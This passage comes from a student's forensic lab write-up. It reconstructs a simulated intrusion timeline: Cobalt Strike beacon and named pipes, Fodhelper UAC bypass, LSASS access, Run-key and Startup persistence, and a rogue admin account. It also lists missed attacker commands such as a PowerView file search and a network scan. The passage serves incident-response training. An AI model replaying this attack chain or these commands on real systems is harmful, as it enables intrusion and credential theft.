| 09:23:15 | SYSTEM rundll32.exe PID 5468 started as a child of PID 7512 |
Memory and Prefetch |
| 09:23:48 | C:\Users\johndoe\Desktop\reports\flag.txt was deleted |
USN Journal FILE_DELETE CLOSE |
| 09:23:49–09:23:50 | A larger second-stage PowerShell script executed and used Get-WmiObject |
Prefetch and Event ID 4104 |
| 09:25:07–09:25:08 | SYSTEM rundll32.exe created \postex_9778. PID 5468 connected to it |
Sysmon Events 17/18 |
| 09:25:08 | SYSTEM rundll32.exe PID 6816 accessed lsass.exe with 0x1010, allowing memory read/query access |
Sysmon Event ID 10 |
| 09:25:48 | Malicious-looking C:\ProgramData\svchost.exe was created |
MFT metadata |
| 09:25:51 | HKLM\...\Run\LocalSystem was configured to execute C:\ProgramData\svchost.exe |
Autoruns |
| 09:26:05 | Local account Admin was created and added to the Users group |
Security Events 4720/4732 |
| 09:26:13 | The same Admin SID was added to the local Administrators group |
Security Event 4732 |
| 09:28:13 | photo443.exe was placed in the user Startup folder for persistence |
Autoruns |
| 09:33:36 | Beacon PID 3648 connected to 44.214.212.249:80 |
Memory netstat/netscan |
| 09:35:40–09:35:41 | PIDs 3648, 5468, and 6744 were all linked to 44.214.212.249:80 |
Memory netstat/netscan |
Comparison with the Complete Lab Timeline
I compared my proven timeline with the complete lab timeline to identify coverage gaps.
The actions absent from my reconstruction were:
Coverage Gaps
- Upload and execution of
temp.bat - Upload of
advanced.zip - Extraction using
tar -xf advanced.zip - Exact Advanced IP Scanner command and subnet:
advanced_ip_scanner_console.exe /r:192.168.0.1-192.168.0.255 - Import of
PowerView.ps1 Find-InterestingFile -Path "C:\Users\"- Download/exfiltration of
C:\Users\johndoe\Desktop\users.db - Source IP
89.64.48.142visiting the malicious web server
I mainly missed these because I did not fully follow the detections already present in sigma.csv. Once the lab VM became too slow, especially in Autopsy, I did not return for that final detection pass. With the raw evidence available locally, that review would have been much easier.
BloodHound activity remained an open follow-up from the complete lab timeline.
Case Study Takeaway
My strongest result was not any single plugin output. It was the chain:
Finance08062023.iso download → mounted-media access → documents.lnk → rundll32.exe payload.dll,StartW → Cobalt Strike named pipes and C2 → Fodhelper UAC bypass → encoded PowerShell → SYSTEM-level activity → persistence, LSASS access, account creation, and file deletion.
I also kept the gaps visible. The final comparison showed activity I missed because I did not fully pivot through the available Sigma detections. That is part of the investigation record, not something to edit out: the review exposed exactly where my process needs to improve.
Continue to: Module 14 Skill Assessment: Velociraptor Triage